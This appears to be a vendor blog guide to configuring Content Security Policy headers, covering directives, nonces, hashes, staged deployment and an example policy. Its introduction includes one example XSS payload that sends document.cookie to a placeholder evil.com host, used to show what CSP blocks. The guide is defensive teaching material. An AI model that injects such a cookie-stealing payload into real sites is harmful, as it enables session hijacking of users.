Content Security Policy (CSP) is arguably the most powerful browser-based security mechanism available today. A well-configured CSP stops the vast majority of Cross-Site Scripting attacks even when vulnerabilities exist in your code. Yet most sites either have no CSP at all, or a CSP so permissive it provides no real protection. This guide shows you how to implement CSP correctly.
What CSP Does and Why It Matters
Without CSP, a browser will execute any JavaScript it encounters on a page — whether it was placed there by your developers or injected by an attacker through an XSS vulnerability. CSP changes this by telling the browser exactly which sources are allowed to load scripts, styles, images, fonts, and other resources.
If an attacker injects <script>document.location='https://evil.com?c='+document.cookie</script> into your page, a CSP that restricts scripts to your own origin prevents the browser from executing it. The attack exists in the HTML, but it never runs.
CSP is defined in the Content-Security-Policy HTTP response header. It is enforced by the browser — not your server — which means it is an independent defense layer that does not depend on your server-side code being vulnerability-free.
Core CSP Directives Explained
Understanding the directives is essential before writing a policy.
default-src — The fallback for any resource type not explicitly specified. Set this to 'self' to restrict everything to your own origin by default.
script-src — Controls which scripts can execute. This is the most security-critical directive. An overly permissive script-src renders your CSP ineffective against XSS.
style-src — Controls CSS sources. Less critical than script-src from an XSS standpoint, but CSS injection can still cause UI redressing attacks.
img-src — Controls image sources. Set to 'self' plus any CDNs your images load from.
connect-src — Controls which URLs JavaScript can fetch/XHR to. Important for preventing exfiltration.
font-src — Controls font sources (Google Fonts, self-hosted, etc.).
frame-src / frame-ancestors — frame-ancestors controls who can embed your page in an iframe (clickjacking protection). frame-src controls which iframes your page can load.
object-src — Controls plugins (Flash, Java applets). Set to 'none' — there is no legitimate reason to allow these in 2026.
base-uri — Controls the <base> tag. Set to 'self' to prevent base tag injection attacks.
form-action — Controls where forms can submit. Set to 'self' unless you have explicit cross-origin form submissions.
The unsafe-inline Problem
The single biggest CSP mistake is including 'unsafe-inline' in script-src. This negates XSS protection entirely because inline scripts — exactly what XSS payloads usually are — become allowed.
Many developers add 'unsafe-inline' because their application uses inline event handlers (onclick="...") or inline <script> blocks. The fix is to move this logic to external JavaScript files. Your codebase benefits from this refactor regardless of CSP.
Nonces: The Right Way to Allow Inline Scripts
Sometimes inline scripts are genuinely unavoidable (certain analytics integrations, legacy code). Nonces allow specific inline scripts without opening the door to all inline scripts.
A nonce is a random, one-time-use token generated server-side for each request:
// Server-side: generate a nonce per request
import { randomBytes } from 'crypto'
const nonce = randomBytes(16).toString('base64')
Include it in the CSP header:
Content-Security-Policy: script-src 'nonce-{GENERATED_NONCE}' 'strict-dynamic'; ...
And in your trusted inline scripts:
<script nonce="{GENERATED_NONCE}">
// This specific script is allowed
</script>
The browser only executes inline scripts that carry the matching nonce. An injected script without the nonce is blocked, because the attacker cannot know the nonce (it is different for every request).
Pair nonces with 'strict-dynamic' to allow those trusted scripts to load additional scripts dynamically (necessary for many analytics and A/B testing tools).
Hash-Based Allowlisting
If you have a fixed inline script that does not change, you can use a hash instead of a nonce:
Content-Security-Policy: script-src 'sha256-abc123...'
The browser computes the hash of each inline script and compares it to the allowlist. This works well for static content but becomes cumbersome when scripts change frequently.
Deploying CSP Without Breaking Your Site
The most common deployment mistake is going directly to enforcement mode on a production site and discovering that half your third-party integrations are blocked.
Phase 1: Report-Only Mode
Deploy in report-only mode first. The browser applies the policy but does not block anything — it only sends violation reports to your reporting endpoint.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report
Set up a simple endpoint to collect CSP reports. Review them over one to two weeks to understand what the policy would block.
Phase 2: Refine the Policy
Based on violation reports, add the legitimate sources you need. Common additions:
- Your CDN:
script-src 'self' cdn.yourdomain.com - Analytics:
script-src 'self' www.googletagmanager.com - Fonts:
font-src 'self' fonts.gstatic.com - API connections:
connect-src 'self' api.yourdomain.com
For each addition, ask: is this source controlled by us or a trusted vendor? Can it be replaced with a self-hosted option?
Phase 3: Enforce
Switch from Content-Security-Policy-Report-Only to Content-Security-Policy. Monitor violation reports in the days after launch — some edge cases may have been missed.
Combining CSP with Other Headers
CSP is most effective as part of a layered headers strategy. See our secure HTTP headers guide for the full set of headers that complement CSP.
Key companions:
X-Frame-Optionsorframe-ancestors 'none'— clickjacking protectionX-Content-Type-Options: nosniff— prevents MIME type confusion attacksReferrer-Policy: strict-origin-when-cross-origin— controls referrer leakage
CSP and XSS protection are deeply related. Read our complete XSS protection guide for the server-side defenses that CSP complements.
Example CSP for a Modern Web Application
A reasonable starting point for a server-rendered application with no third-party scripts:
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-{RANDOM}';
style-src 'self' 'nonce-{RANDOM}';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
upgrade-insecure-requests;
For SPAs (React, Vue, Angular) loaded from a CDN with multiple API endpoints, the policy will be more permissive — but start from this strict baseline and open only what you can justify.
CSP Implementation Checklist
- [ ] Report-Only mode deployed and violations collected for 1-2 weeks
- [ ]
default-src 'self'as baseline - [ ]
object-src 'none'(no plugins) - [ ]
base-uri 'self'(prevent base tag injection) - [ ] No
'unsafe-inline'inscript-src - [ ] Nonces implemented for any required inline scripts
- [ ] Third-party script sources explicitly allowlisted
- [ ] Enforcement mode enabled after validation
- [ ] Violation reporting endpoint active in production
Audit Your CSP Today
A misconfigured CSP provides false confidence. WarDek analyzes your deployed CSP alongside other security headers and flags specific weaknesses — like unsafe-inline usage or missing directives — with actionable remediation steps. Pair it with a full XSS scan to understand your real exposure.